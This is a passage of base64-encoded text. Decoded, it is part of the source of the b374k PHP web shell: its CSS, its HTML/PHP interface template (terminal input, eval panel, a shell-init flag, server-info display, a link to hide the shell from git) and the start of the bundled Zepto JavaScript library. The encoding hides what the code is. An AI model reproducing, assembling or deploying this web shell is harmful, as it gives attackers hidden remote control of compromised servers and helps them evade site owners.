9sb3I6I2ViZWJlYjt9I2Zvcm17CmRpc3BsYXk6bm9uZTt9I2RldlRpdGxlewpiYWNrZ3JvdW5kOiNlYmViZWI7fS5ib3h7Cm1pbi13aWR0aDo1MCU7CmJvcmRlcjoxcHggc29saWQgI2RkZGRkZDsKcGFkZGluZzo4cHggOHB4IDAgOHB4Owpib3JkZXItcmFkaXVzOjhweDsKcG9zaXRpb246Zml4ZWQ7CmJhY2tncm91bmQ6I2ViZWJlYjsKb3BhY2l0eToxOwpib3gtc2hhZG93OjFweCAxcHggMjVweCAjMTUwZjBmOwpvcGFjaXR5OjAuOTg7fS5ib3h0aXRsZXsKYmFja2dyb3VuZDojZGRkZGRkOwpib3JkZXI6IDFweCBzb2xpZCAjY2NjY2NjOwpjb2xvcjojMDAwMDAwOwpib3JkZXItcmFkaXVzOjhweDsKdGV4dC1hbGlnbjpjZW50ZXI7CmN1cnNvcjpwb2ludGVyO30uYm94dGl0bGUgYSwgLmJveHRpdGxlIGE6aG92ZXJ7CmNvbG9yOiMwMDAwMDA7fS5ib3hjb250ZW50ewpwYWRkaW5nOjJweCAwIDJweCAwO30uYm94cmVzdWx0ewpwYWRkaW5nOjRweCAxMHB4IDZweCAxMHB4Owpib3JkZXItdG9wOjFweCBzb2xpZCAjZGRkZGRkOwptYXJnaW4tdG9wOjRweDsKdGV4dC1hbGlnbjpjZW50ZXI7fS5ib3h0Ymx7CmJvcmRlcjoxcHggc29saWQgI2RkZGRkZDsKYm9yZGVyLXJhZGl1czo4cHg7CnBhZGRpbmctYm90dG9tOjhweDsKYmFja2dyb3VuZDojZWJlYmViO30uYm94dGJsIHRkewp2ZXJ0aWNhbC1hbGlnbjptaWRkbGU7CnBhZGRpbmc6OHB4IDE1cHg7CmJvcmRlci1ib3R0b206MXB4IGRhc2hlZCAjZGRkZGRkO30uYm94dGJsIGlucHV0LCAuYm94dGJsIHNlbGVjdCwgLmJveHRibCAuYnV0dG9uewp3aWR0aDoxMDAlO30uYm94bGFiZWx7CnRleHQtYWxpZ246IGNlbnRlcjsKYm9yZGVyLWJvdHRvbToxcHggc29saWQgI2RkZGRkZDsKcGFkZGluZy1ib3R0b206OHB4O30uYm94Y2xvc2V7CmJhY2tncm91bmQ6IzIyMjIyMjsKYm9yZGVyLXJhZGl1czozcHg7Cm1hcmdpbi1yaWdodDo4cHg7Cm1hcmdpbi10b3A6LTNweDsKcGFkZGluZzoycHggOHB4OwpjdXJzb3I6cG9pbnRlcjsKY29sb3I6I2ZmZmZmZjt9LnN0cm9uZ3sKY29sb3I6IzdDOTRBODsKdGV4dC1zaGFkb3c6MHB4IDBweCAxcHggI0MwRENGNTt9LndlYWt7CmNvbG9yOiM2NjY2NjY7fS5idXR0b257Cm1pbi13aWR0aDoxMjBweDsKd2lkdGg6MTIwcHg7Cm1hcmdpbjoycHg7CmNvbG9yOiNmZmZmZmY7CmJhY2tncm91bmQ6IzdDOTRBODsKYm9yZGVyOm5vbmU7CnBhZGRpbmc6OHB4Owpib3JkZXItcmFkaXVzOjhweDsKZGlzcGxheTpibG9jazsKdGV4dC1hbGlnbjpjZW50ZXI7CmZsb2F0OmxlZnQ7CmN1cnNvcjpwb2ludGVyO30uYnV0dG9uOmhvdmVyLCAjdWxEcmFnTkRyb3A6aG92ZXJ7CmJhY2tncm91bmQ6Izc2ODk5OTt9LmZsb2F0TGVmdHsKZmxvYXQ6bGVmdDt9LmZsb2F0UmlnaHR7CmZsb2F0OnJpZ2h0O30uY29sRml0ewp3aWR0aDoxcHg7CndoaXRlLXNwYWNlOm5vd3JhcDt9LmNvbFNwYW57CndpZHRoOjEwMCU7fS5ib3JkZXJ7CmJvcmRlcjoxcHggc29saWQgI2RkZGRkZDsKYmFja2dyb3VuZDojZWJlYmViOwpib3JkZXItcmFkaXVzOjhweDsKcGFkZGluZzo4cHg7fS5ib3JkZXJib3R0b217CmJvcmRlci1ib3R0b206MXB4IGRhc2hlZCAjZGRkZGRkO30uYm9yZGVycmlnaHR7CmJvcmRlci1yaWdodDoxcHggZGFzaGVkICNkZGRkZGQ7fS5ib3JkZXJsZWZ0ewpib3JkZXItbGVmdDoxcHggZGFzaGVkICNkZGRkZGQ7fS5ociB0ZHsKYm9yZGVyLWJvdHRvbToxcHggZGFzaGVkICNkZGRkZGQ7fS5jQm94LCAuY0JveEFsbHsKd2lkdGg6MTBweDsKaGVpZ2h0OjEwcHg7CmJvcmRlcjoxcHggc29saWQgIzdDOTRBODsKYm9yZGVyLXJhZGl1czo1cHg7Cm1hcmdpbjphdXRvOwpmbG9hdDpsZWZ0OwptYXJnaW46M3B4IDZweCAycHggNnB4OwpjdXJzb3I6cG9pbnRlcjt9LmNCb3hTZWxlY3RlZHsKYmFja2dyb3VuZDojN0M5NEE4O30uYWN0aW9uLCAuYWN0aW9uZm9sZGVyLCAuYWN0aW9uZG90ewpjdXJzb3I6cG9pbnRlcjt9LnBocEVycm9yewpwYWRkaW5nOjhweDsKbWFyZ2luOjhweCAwOwp0ZXh0LWFsaWduOmNlbnRlcjt9LmRhdGFWaWV3IHRkLCAuZGF0YVZpZXcgdGgsICN2aWV3RmlsZSB0ZHsKdmVydGljYWwtYWxpZ246dG9wOwpib3JkZXItYm90dG9tOjFweCBkYXNoZWQgI2RkZGRkZDt9LmRhdGFWaWV3IHRib2R5IHRyOmhvdmVyewpiYWNrZ3JvdW5kOiNlYmViZWI7fS5kYXRhVmlldyB0aHsKdmVydGljYWwtYWxpZ246bWlkZGxlOwpib3JkZXItYm90dG9tOjA7CmJhY2tncm91bmQ6I2UwZTBlMDt9LmRhdGFWaWV3IHRmb290IHRkewp2ZXJ0aWNhbC1hbGlnbjptaWRkbGU7fS5kYXRhVmlldyAuY29sLWNib3h7CnRleHQtYWxpZ246Y2VudGVyOwp3aWR0aDoyMHB4O30uZGF0YVZpZXcgLmNvbC1zaXplewp3aWR0aDo3MHB4O30jeHBsVGFibGUgdHI+dGQ6bnRoLWNoaWxkKDMpewp0ZXh0LWFsaWduOmxlZnQ7fSN4cGxUYWJsZSB0cj50ZDpudGgtY2hpbGQoNCksI3hwbFRhYmxlIHRyPnRkOm50aC1jaGlsZCg1KSwjeHBsVGFibGUgdHI+dGQ6bnRoLWNoaWxkKDYpewp0ZXh0LWFsaWduOmNlbnRlcjt9LmRhdGFWaWV3IC5jb2wtb3duZXJ7CndpZHRoOjE0MHB4OwptaW4td2lkdGg6MTQwcHg7CnRleHQtYWxpZ246Y2VudGVyO30uZGF0YVZpZXcgLmNvbC1wZXJtc3sKd2lkdGg6ODBweDsKdGV4dC1hbGlnbjpjZW50ZXI7fS5kYXRhVmlldyAuY29sLW1vZGlmaWVkewp3aWR0aDoxNTBweDsKdGV4dC1hbGlnbjpjZW50ZXI7fS5zb3J0YWJsZSB0aHsKY3Vyc29yOnBvaW50ZXI7fSN4cGxUYWJsZSB0ZHsKd2hpdGUtc3BhY2U6bm93cmFwO30jdmlld0ZpbGUgdGR7CnRleHQtYWxpZ246bGVmdDt9I3ZpZXdGaWxlY29udGVudHsKcGFkZGluZzo4cHg7CmJvcmRlcjoxcHggc29saWQgI2RkZGRkZDsKYm9yZGVyLXJhZGl1czo4cHg7fSN0ZXJtaW5hbFByb21wdCB0ZHsKcGFkZGluZzowO30jdGVybWluYWxJbnB1dHsKYmFja2dyb3VuZDpub25lOwpib3JkZXI6bm9uZTsKcGFkZGluZzowOwp3aWR0aDoxMDAlO30jZXZhbEFkZGl0aW9uYWx7CmRpc3BsYXk6bm9uZTt9LmhsX2RlZmF1bHR7CmNvbG9yOiM1MTc3OTc7fS5obF9rZXl3b3Jkewpjb2xvcjojMDBCQjAwO30uaGxfc3RyaW5newpjb2xvcjojMDAwMDAwO30uaGxfaHRtbHsKY29sb3I6I0NFNTQwMzt9LmhsX2NvbW1lbnR7CmNvbG9yOiM3RjlGN0Y7fSNuYXZpZ2F0aW9ue3Bvc2l0aW9uOmZpeGVkO2xlZnQ6LTE2cHg7dG9wOjQ2JTt9I3RvdG9wLCN0b2JvdHRvbSwjdG9nZ2xlQmFzaWNJbmZve2JhY2tncm91bmQ6dXJsKCc8P3BocCBlY2hvIGdldF9yZXNvdXJjZSgnYXJyb3cnKTs/PicpO3dpZHRoOjMycHg7aGVpZ2h0OjMycHg7b3BhY2l0eTowLjMwO21hcmdpbjoxOHB4IDA7Y3Vyc29yOnBvaW50ZXI7fSN0b3RvcDpob3ZlciwjdG9ib3R0b206aG92ZXJ7b3BhY2l0eTowLjgwO30jdG9nZ2xlQmFzaWNJbmZve2Rpc3BsYXk6bm9uZTtmbG9hdDpyaWdodDttYXJnaW46MDt9I2Jhc2ljSW5mb1NwbGl0dGVye2Rpc3BsYXk6bm9uZTt9I3RvYm90dG9tey13ZWJraXQtdHJhbnNmb3JtOnNjYWxlWSgtMSk7LW1vei10cmFuc2Zvcm06c2NhbGVZKC0xKTstby10cmFuc2Zvcm06c2NhbGVZKC0xKTt0cmFuc2Zvcm06c2NhbGVZKC0xKTtmaWx0ZXI6RmxpcFY7LW1zLWZpbHRlcjoiRmxpcFYiO30jc2hvd2luZm97ZmxvYXQ6cmlnaHQ7ZGlzcGxheTpub25lO30jbG9nb3V0e2Zsb2F0OnJpZ2h0O30uZ2l0X2FsZXJ0e2ZvbnQtd2VpZ2h0OiBib2xkOyBjb2xvcjojZWY3OTNlOyBmb250LXNpemU6IDE2cHg7fTwvc3R5bGU+CjwvaGVhZD4KPGJvZHk+CjwhLS13cmFwcGVyIHN0YXJ0LS0+CjxkaXYgaWQ9J3dyYXBwZXInPgo8IS0taGVhZGVyIHN0YXJ0LS0+CjxkaXYgaWQ9J2hlYWRlcic+CjwhLS1oZWFkZXIgaW5mbyBzdGFydC0tPgo8ZGl2IGlkPSdoZWFkZXJOYXYnPgo8c3Bhbj48YSBvbmNsaWNrPSJzZXRfY29va2llKCdjd2QnLCAnJyk7IiBocmVmPSc8P3BocCBlY2hvIGdldF9zZWxmKCk7ID8+Jz48P3BocCBlY2hvICRHTE9CQUxTWyd0aXRsZSddLiIgIi4kR0xPQkFMU1sndmVyJ10/PjwvYT48L3NwYW4+CjxpbWcgb25jbGljaz0ndmlld2ZpbGVvcmZvbGRlcigpOycgaWQ9J2IzNzRrJyBzcmM9Jzw/cGhwIGVjaG8gZ2V0X3Jlc291cmNlKCdiMzc0aycpOz8+JyAvPiZuYnNwOzxzcGFuIGlkPSduYXYnPjw/cGhwIGVjaG8gJG5hdjsgPz48L3NwYW4+PGEgY2xhc3M9J2JveGNsb3NlJyBpZD0nbG9nb3V0JyB0aXRsZT0nbG9nIG91dCc+eDwvYT4KPGEgY2xhc3M9J2JveGNsb3NlJyBpZD0nc2hvd2luZm8nIHRpdGxlPSdzaG93IGluZm8nPnY8L2E+CjwvZGl2Pgo8IS0taGVhZGVyIGluZm8gZW5kLS0+PCEtLW1lbnUgc3RhcnQtLT4KPGRpdiBpZD0nbWVudSc+Cjw/cGhwCmZvcmVhY2goJEdMT0JBTFNbJ21vZHVsZV90b19sb2FkJ10gYXMgJGspewplY2hvICI8YSBjbGFzcz0nbWVudWl0ZW0nIGlkPSdtZW51Ii4kR0xPQkFMU1snbW9kdWxlJ11bJGtdWydpZCddLiInIGhyZWY9JyMhIi4kR0xPQkFMU1snbW9kdWxlJ11bJGtdWydpZCddLiInPiIuJEdMT0JBTFNbJ21vZHVsZSddWyRrXVsndGl0bGUnXS4iPC9hPiI7fT8+CjwvZGl2Pgo8IS0tbWVudSBlbmQtLT48L2Rpdj4KPCEtLWhlYWRlciBlbmQtLT48IS0tY29udGVudCBzdGFydC0tPgo8ZGl2IGlkPSdjb250ZW50Jz4KPCEtLXNlcnZlciBpbmZvIHN0YXJ0LS0+CjxkaXYgaWQ9J2Jhc2ljSW5mbyc+CjxkaXYgaWQ9J3RvZ2dsZUJhc2ljSW5mbyc+PC9kaXY+Cjw/cGhwCmVjaG8gJGVycm9yX2h0bWw7CmZvcmVhY2goZ2V0X3NlcnZlcl9pbmZvKCkgYXMgJGs9PiR2KXsKZWNobyAiPGRpdj4iLiR2LiI8L2Rpdj4iO31pZihpc19naXRfcmVwbyhnZXRjd2QoKSkpewplY2hvICI8cCBjbGFzcz1cImdpdF9hbGVydFwiPldhcm5pbmc6IGIzNzRrIGlzIHJ1bm5pbmcgdW5kZXIgYSBnaXQgcmVwb3NpdG9yeSE8L3A+CjxhIGhyZWY9XCIjXCI+IENsaWNrIGhlcmUgdG8gaGlkZSBiMzc0ayBmcm9tIGdpdCA8L2E+Ijt9Pz4KPC9kaXY+CjwhLS1zZXJ2ZXIgaW5mbyBlbmQtLT48P3BocApmb3JlYWNoKCRHTE9CQUxTWydtb2R1bGVfdG9fbG9hZCddIGFzICRrKXsKJGNvbnRlbnQgPSAkR0xPQkFMU1snbW9kdWxlJ11bJGtdWydjb250ZW50J107CmVjaG8gIjxkaXYgY2xhc3M9J21lbnVjb250ZW50JyBpZD0nIi4kR0xPQkFMU1snbW9kdWxlJ11bJGtdWydpZCddLiInPiIuJGNvbnRlbnQuIjwvZGl2PiI7fT8+CjwvZGl2Pgo8IS0tY29udGVudCBlbmQtLT48L2Rpdj4KPCEtLXdyYXBwZXIgZW5kLS0+CjxkaXYgaWQ9J25hdmlnYXRpb24nPgo8ZGl2IGlkPSd0b3RvcCc+PC9kaXY+CjxkaXYgaWQ9J3RvYm90dG9tJz48L2Rpdj4KPC9kaXY+Cjx0YWJsZSBpZD0ib3ZlcmxheSI+PHRyPjx0ZD48ZGl2IGlkPSJsb2FkaW5nIiBvbmRibGNsaWNrPSdsb2FkaW5nX3N0b3AoKTsnPjwvZGl2PjwvdGQ+PC90cj48L3RhYmxlPgo8Zm9ybSBhY3Rpb249Jzw/cGhwIGVjaG8gZ2V0X3NlbGYoKTsgPz4nIG1ldGhvZD0ncG9zdCcgaWQ9J2Zvcm0nIHRhcmdldD0nX2JsYW5rJz48L2Zvcm0+CjwhLS1zY3JpcHQgc3RhcnQtLT4KPHNjcmlwdCB0eXBlPSd0ZXh0L2phdmFzY3JpcHQnPgp2YXIgdGFyZ2V0dXJsID0gJzw/cGhwIGVjaG8gZ2V0X3NlbGYoKTsgPz4nOwp2YXIgbW9kdWxlX3RvX2xvYWQgPSAnPD9waHAgZWNobyBpbXBsb2RlKCIsIiwgJEdMT0JBTFNbJ21vZHVsZV90b19sb2FkJ10pOz8+JzsKdmFyIHdpbiA9IDw/cGhwIGVjaG8gKGlzX3dpbigpKT8ndHJ1ZSc6J2ZhbHNlJzs/PjsKdmFyIGluaXRfc2hlbGwgPSB0cnVlOwovKiBaZXB0byB2MS4xLjIgLSB6ZXB0byBldmVudCBhamF4IGZvcm0gaWUgLSB6ZXB0b2pzLmNvbS9saWNlbnNlICovCnZhciBaZXB0bz1mdW5jdGlvbigpe2Z1bmN0aW9uIEcoYSl7cmV0dXJuIGE9PW51bGw/U3RyaW5nKGEpOnpbQS5jYWxsKGEpXXx8Im9iamVjdCJ9ZnVuY3Rpb24gSChhKXtyZXR1cm4gRyhhKT09ImZ1bmN0aW9uIn1mdW5jdGlvbiBJKGEpe3JldHVybiBhIT1udWxsJiZhPT1hLndpbmRvd31mdW5jdGlvbiBKKGEpe3JldHVybiBhIT1udWxsJiZhLm5vZGVUeXBlPT1hLkRPQ1VNRU5UX05PREV9ZnVuY3Rpb24gSyhhKXtyZXR1cm4gRyhhKT09Im9iamVjdCJ9ZnVuY3Rpb24gTChhKXtyZXR1cm4gSyhhKSYmIUkoYSkmJk9iamVjdC5nZXRQcm90b3R5cGVPZihhKT09T2JqZWN0LnByb3RvdHlwZX1mdW5jdGlvbiBNKGEpe3JldHVybiBhIGluc3RhbmNlb2YgQXJyYXl9ZnVuY3Rpb24gTihhKXtyZXR1cm4gdHlwZW9mIGEubGVuZ3RoPT0ibnVtYmVyIn1mdW5jdGlvbiBPKGEpe3JldHVybiBnLmNhbGwoYSxmdW5jdGlvbihhKXtyZXR1cm4gYSE9bnVsbH0pfWZ1bmN0aW9uIFAoYSl7cmV0dXJuIGEubGVuZ3RoPjA/Yy5mbi5jb25jYXQuYXBwbHkoW10sYSk6YX1mdW5jdGlvbiBRKGEpe3JldHVybiBhLnJlcGxhY2UoLzo6L2csIi8iKS5yZXBsYWNlKC8oW0EtWl0rKShbQS1aXVthLXpdKS9nLCIkMV8kMiIpLnJlcGxhY2UoLyhbYS16XGRdKShbQS1aXSkvZywiJDFfJDIiKS5yZXBsYWNlKC9fL2csIi0iKS50b0xvd2VyQ2FzZSgpfWZ1bmN0aW9uIFIoYSl7cmV0dXJuIGEgaW4gaj9qW2FdOmpbYV09bmV3IFJlZ0V4cCgiKF58XFxzKSIrYSsiKFxcc3wkKSIpfWZ1bmN0aW9uIFMoYSxiKXtyZXR1cm4gdHlwZW9mIGI9PSJudW1iZXIiJiYha1tRKGEpXT9iKyJweCI6Yn1mdW5jdGlvbiBUKGEpe3ZhciBiLGM7cmV0dXJuIGlbYV18fChiPWguY3JlYXRlRWxlbWVudChhKSxoLmJvZHkuYXBwZW5kQ2hpbGQoYiksYz1nZXRDb21wdXRlZFN0eWxlKGIsIiIpLmdldFByb3BlcnR5VmFsdWUoImRpc3BsYXkiKSxiLnBhcmVudE5vZGUucmVtb3ZlQ2hpbGQoYiksYz09Im5vbmUiJiYoYz0iYmxvY2siKSxpW2FdPWMpLGlbYV19ZnVuY3Rpb24gVShhKXtyZXR1cm4iY2hpbGRyZW4iaW4gYT9mLmNhbGwoYS5jaGlsZHJlbik6Yy5tYXAoYS5jaGlsZE5vZGVzLGZ1bmN0aW9uKGEpe2lmKGEubm9kZVR5cGU9PTEpcmV0dXJuIGF9KX1mdW5jdGlvbiBWKGMsZCxlKXtmb3IoYiBpbiBkKWUmJihMKGRbYl0pfHxNKGRbYl0pKT8oTChkW2JdKSYmIUwoY1tiXSkmJihjW2JdPXt9KSxNKGRbYl0pJiYhTShjW2JdKSYmKGNbYl09W10pLFYoY1tiXSxkW2JdLGUpKTpkW2JdIT09YSYmKGNbYl09ZFtiXSl9ZnVuY3Rpb24gVyhhLGIpe3JldHVybiBiPT1udWxsP2MoYSk6YyhhKS5maWx0ZXIoYil9ZnVuY3Rpb24gWChhLGIsYyxkKXtyZXR1cm4gSChiKT9iLmNhbGwoYSxjLGQpOmJ9ZnVuY3Rpb24gWShhLGIsYyl7Yz09bnVsbD9hLnJlbW92ZUF0dHJpYnV0ZShiKTphLnNldEF0dHJpYnV0ZShiLGMpfWZ1bmN0aW9uIFooYixjKXt2YXIgZD1iLmNsYXNzTmFtZSxlPWQmJmQuYmFzZVZhbCE9PWE7aWYoYz09PWEpcmV0dXJuIGU/ZC5iYXNlVmFsOmQ7ZT9kLmJhc2VWYWw9YzpiLmNsYXNzTmFtZT1jfWZ1bmN0aW9uICQoYSl7dmFyIGI7dHJ5e3JldHVybiBhP2E9PSJ0cnVlInx8KGE9PSJmYWxzZSI/ITE6YT09Im51bGwiP251bGw6IS9eMC8udGVzdChhKSYmIWlzTmFOKGI9TnVtYmVyKGEpKT9iOi9eW1xbXHtdLy50ZXN0KGEpP2MucGFyc2VKU09OKGEpOmEpOmF9Y2F0Y2goZCl7cmV0dXJuIGF9fWZ1bmN0aW9uIF8oYSxiKXtiKGEpO2Zvcih2YXIgYyBpbiBhLmNoaWxkTm9kZXMpXyhhLmNoaWxkTm9kZXNbY10sYil9dmFyIGEsYixjLGQsZT1bXSxmPWUuc2xpY2UsZz1lLmZpbHRlcixoPXdpbmRvdy5kb2N1bWVudCxpPXt9LGo9e30saz17ImNvbHVtbi1jb3VudCI6MSxjb2x1bW5zOjEsImZvbnQtd2VpZ2h0IjoxLCJsaW5lLWhlaWdodCI6MSxvcGFjaXR5OjEsInotaW5kZXgiOjEsem9vbToxfSxsPS9eXHMqPChcdyt8ISlbXj5dKj4vLG09L148KFx3KylccypcLz8+KD86PFwvXDE+fCkkLyxuPS88KD8hYXJlYXxicnxjb2x8ZW1iZWR8aHJ8aW1nfGlucHV0fGxpbmt8bWV0YXxwYXJhbSkoKFtcdzpdKylbXj5dKilcLz4vaWcsbz0vXig/OmJvZHl8aHRtbCkkL2kscD0vKFtBLVpdKS9nLHE9WyJ2YWwiLCJjc3MiLCJodG1sIiwidGV4dCIsImRhdGEiLCJ3aWR0aCIsImhlaWdodCIsIm9mZnNldCJdLHI9WyJhZnRlciIsInByZXBlbmQiLCJiZWZvcmUiLCJhcHBlbmQiXSxzPWguY3JlYXRlRWxlbWVudCgidGFibGUiKSx0PWguY3JlYXRlRWxlbWVudCgidHIiKSx1PXt0cjpoLmNyZWF0ZUVsZW1lbnQoInRib2R5IiksdGJvZHk6cyx0aGVhZDpzLHRmb290OnMsdGQ6dCx0aDp0LCIqIjpoLmNyZWF0ZUVsZW1lbnQoImRpdiIpfSx2PS9jb21wbGV0ZXxsb2FkZWR8aW50ZXJhY3RpdmUvLHc9L15cLihbXHctXSspJC8seD0vXiMoW1x3LV0qKSQvLHk9L15bXHctXSokLyx6PXt9LEE9ei50b1N0cmluZyxCPXt9LEMsRCxFPWguY3JlYXRlRWxlbWVudCgiZGl2IiksRj17dGFiaW5kZXg6InRhYkluZGV4IixyZWFkb25seToicmVhZE9ubHkiLCJmb3IiOiJodG1sRm9yIiwiY2xhc3MiOiJjbGFzc05hbWUiLG1heGxlbmd0aDoibWF4TGVuZ3RoIixjZWxsc3BhY2luZzoiY2VsbFNwYWNpbmciLGNlbGxwYWRkaW5nOiJjZWxsUGFkZGluZyIscm93c3Bhbjoicm93U3BhbiIsY29sc3BhbjoiY29sU3BhbiIsdXNlbWFwOiJ1c2VNYXAiLGZyYW1lYm9yZGVyOiJmcmFtZUJvcmRlciIsY29udGVudGVkaXRhYmxlOiJjb250ZW50RWRpdGFibGUifTtyZXR1cm4gQi5tYXRjaGVzPWZ1bmN0aW9uKGEsYil7aWYoIWJ8fCFhfHxhLm5vZGVUeXBlIT09MSlyZXR1cm4hMTt2YXIgYz1hLndlYmtpdE1hdGNoZXNTZWxlY3Rvcnx8YS5tb3pNYXRjaGVzU2VsZWN0b3J8fGEub01hdGNoZXNTZWxlY3Rvcnx8YS5tYXRjaGVzU2VsZWN0b3I7aWYoYylyZXR1cm4gYy5jYWxsKGEsYik7dmFyIGQsZT1hLnBhcmVudE5vZGUsZj0hZTtyZXR1cm4gZiYmKGU9RSkuYXBwZW5kQ2hpbGQoYSksZD1+Qi5xc2EoZSxiKS5pbmRleE9mKGEpLGYmJkUucmVtb3ZlQ2hpbGQoYSksZH0sQz1mdW5jdGlvbihhKXtyZXR1cm4gYS5yZXBsYWNlKC8tKyguKT8vZyxmdW5jdGlvbihhLGIpe3JldHVybiBiP2IudG9VcHBlckNhc2UoKToiIn0pfSxEPWZ1bmN0aW9uKGEpe3JldHVybiBnLmNhbGwoYSxmdW5jdGlvbihiLGMpe3JldHVybiBhLmluZGV4T2YoYik9PWN9KX0sQi5mcmFnbWVudD1mdW5jdGlvbihiLGQsZSl7dmFyIGcsaSxqO3JldHVybiBtLnRlc3QoYikmJihnPWMoaC5jcmVhdGVFbGVtZW50KFJlZ0V4cC4kMSkpKSxnfHwoYi5yZXBsYWNlJiYoYj1iLnJlcGxhY2UobiwiPCQxPjwvJDI+IikpLGQ9PT1hJiYoZD1sLnRlc3QoYikmJlJlZ0V4cC4kMSksZCBpbiB1fHwoZD0iKiIpLGo9dVtkXSxqLmlubmVySFRNTD0iIitiLGc9Yy5lYWNoKGYuY2FsbChqLmNoaWxkTm9kZXMpLGZ1bmN0aW9uKCl7ai5yZW1vdmVDaGlsZCh0aGlzKX0pKSxMKGUpJiYoaT1jKGcpLGMuZWFjaChlLGZ1bmN0aW9uKGEsYil7cS5pbmRleE9mKGEpPi0xP2lbYV0oYik6aS5hdHRyKGEsYil9KSksZ30sQi5aPWZ1bmN0aW9uKGEsYil7cmV0dXJuIGE9YXx8W10sYS5fX3Byb3RvX189Yy5mbixhLnNlbGVjdG9yPWJ8fCIiLGF9LEIuaXNaPWZ1bmN0aW9uKGEpe3JldHVybiBhIGluc3RhbmNlb2YgQi5afSxCLmluaXQ9ZnVuY3Rpb24oYixkKXt2YXIgZTtpZighYilyZXR1cm4gQi5aKCk7aWYodHlwZW9mIGI9PSJzdHJpbmciKXtiPWIudHJpbSgpO2lmKGJbMF09PSI8IiYmbC50ZXN0KGIpKWU9Qi5mcmFnbWVudChiLFJlZ0V4cC4kMSxkKSxiPW51bGw7ZWxzZXtpZihkIT09YSlyZXR1cm4gYyhkKS5maW5kKGIpO2U9Qi5xc2EoaCxiKX19ZWxzZXtpZihIKGIpKXJldHVybiBjKGgpLnJlYWR5KGIpO2lmKEIuaXNaKGIpKXJldHVybiBiO2lmKE0oYikpZT1PKGIpO2Vsc2UgaWYoSyhiKSllPVtiXSxiPW51bGw7ZWxzZSBpZihsLnRlc3QoYikpZT1CLmZyYWdtZW50KGIudHJpbSgpLFJlZ0V4cC4kMSxkKSxiPW51bGw7ZWxzZXtpZihkIT09YSlyZXR1cm4gYyhkKS5maW5kKGIpO2U9Qi5xc2EoaCxiKX19cmV0dXJuIEIuWihlLGIpfSxjPWZ1bmN0aW9uKGEsYil7cmV0dXJuIEIuaW5pdChhLGIpfSxjLmV4dGVuZD1mdW5jdGlvbihhKXt2YXIgYixjPWYuY2FsbChhcmd1bWVudHMsMSk7cmV0dXJuIHR5cGVvZiBhPT0iYm9vbGVhbiImJihiPWEsYT1jLnNoaWZ0KCkpLGMuZm9yRWFjaChmdW5jdGlvbihjKXtWKGEsYyxiKX0pLGF9LEIucXNhPWZ1bmN0aW9uKGEsYil7dmFyIGMsZD1iWzBdPT0iIyIsZT0hZCYmYlswXT09Ii4iLGc9ZHx8ZT9iLnNsaWNlKDEpOmIsaD15LnRlc3QoZyk7cmV0dXJuIEooYSkmJmgmJmQ/KGM9YS5nZXRFbGVtZW50QnlJZChnKSk/W2NdOltdOmEubm9kZVR5cGUhPT0xJiZhLm5vZGVUeXBlIT09OT9bXTpmLmNhbGwoaCYmIWQ/ZT9hLmdldEVsZW1lbnRzQnlDbGFzc05hbWUoZyk6YS5nZXRFbGVtZW50c0J5VGFnTmFtZShiKTphLnF1ZXJ5U2VsZWN0b3JBbGwoYikpfSxjLmNvbnRhaW5zPWZ1bmN0aW9uKGEsYil7cmV0dXJuIGEhPT1iJiZhLmNvbnRhaW5zKGIpfSxjLnR5cGU9RyxjLmlzRnVuY3Rpb249SCxjLmlzV2luZG93PUksYy5pc0FycmF5PU0sYy5pc1BsYWluT2JqZWN0PUwsYy5pc0VtcHR5T2JqZWN0PWZ1bmN0aW9uKGEpe3ZhciBiO2ZvcihiIGluIGEpcmV0dXJuITE7cmV0dXJuITB9LGMuaW5BcnJheT1mdW5jdGlvbihhLGIsYyl7cmV0dXJuIGUuaW5kZXhPZi5jYWxsKGIsYSxjKX0sYy5jYW1lbENhc2U9QyxjLnRyaW09ZnVuY3Rpb24oYSl7cmV0dXJuIGE9PW51bGw/IiI6U3RyaW5nLnByb3RvdHlwZS50cmltLmNhbGwoYSl9LGMudXVpZD0wLGMuc3VwcG9ydD17fSxjLmV4cHI9e30sYy5tYXA9ZnVuY3Rpb24oYSxiKXt2YXIgYyxkPVtdLGUsZjtpZihOKGEpKWZvcihlPTA7ZTxhLmxlbmd0aDtlKyspYz1iKGFbZV0sZSksYyE9bnVsbCYmZC5wdXNoKGMpO2Vsc2UgZm9yKGYgaW4gYSljPWIoYVtmXSxmKSxjIT1udWxsJiZkLnB1c2goYyk7cmV0dXJuIFAoZCl9LGMuZWFjaD1mdW5jdGlvbihhLGIpe3ZhciBjLGQ7aWYoTihhKSl7Zm9yKGM9MDtjPGEubGVuZ3RoO2MrKylpZihiLmNhbGwoYVtjXSxjLGFbY10pPT09ITEpcmV0dXJuIGF9ZWxzZSBmb3IoZCBpbiBhKWlmKGIuY2FsbChhW2RdLGQsYVtkXSk9PT0hMSlyZXR1cm4gYTtyZXR1cm4gYX0sYy5ncmVwPWZ1bmN0aW9uKGEsYil7cmV0dXJuIGcuY2FsbChhLGIpfSx3aW5kb3cuSlNPTiYmKGMucGFyc2VKU09OPUpTT04ucGFyc2UpLGMuZWFjaCgiQm9vbGVhbiBOdW1iZXIgU3RyaW5nIEZ1bmN0aW9uIEFycmF5IERhdGUgUmVnRXhwIE9iamVjdCBFcnJvciIuc3BsaXQoIiAiKSxmdW5jdGlvbihhLGIpe3pbIltvYmplY3QgIitiKyJdIl09Yi50b0xvd2VyQ2FzZSgpfSksYy5mbj17Zm9yRWFjaDplLmZvckVhY2gscmVkdWNlOmUucmVkdWNlLHB1c2g6ZS5wdXNoLHNvcnQ6ZS5zb3J0LGluZGV4T2Y6ZS5pbmRleE9mLGNvbmNhdDplLmNvbmNhdCxtYXA6ZnVuY3Rpb24oYSl7cmV0dXJuIGMoYy5tYXAodGhpcyxmdW5jdGlvbihiLGMpe3JldHVybiBhLmNhbGwoYixjLGIpfSkpfSxzbGljZTpmdW5jdGlvbigpe3JldHVybiBjKGYuYXBwbHkodGhpcyxhcmd1bWVudHMpKX0scmVhZHk6ZnVuY3Rpb24oYSl7cmV0dXJuIHYudGVzdChoLnJlYWR5U3RhdGUpJiZoLmJvZHk/YShjKTpoLmFkZEV2ZW50TGlzdGVuZXIoIkRPTUNvbnRlbnRMb2FkZWQiLGZ1bmN0aW9uKCl7YShjKX0sITEpLHRoaXN9LGdldDpmdW5jdGlvbihiKXtyZXR1cm4gYj09PWE/Zi5jYWxsKHRoaXMpOnRoaXNbYj49MD9iOmIrdGhpcy5sZW5ndGhdfSx0b0FycmF5OmZ1bmN0aW9uKCl7cmV0dXJuIHRoaXMuZ2V0KCl9LHNpemU6ZnVuY3Rpb24oKXtyZXR1cm4gdGhpcy5sZW5ndGh9LHJlbW92ZTpm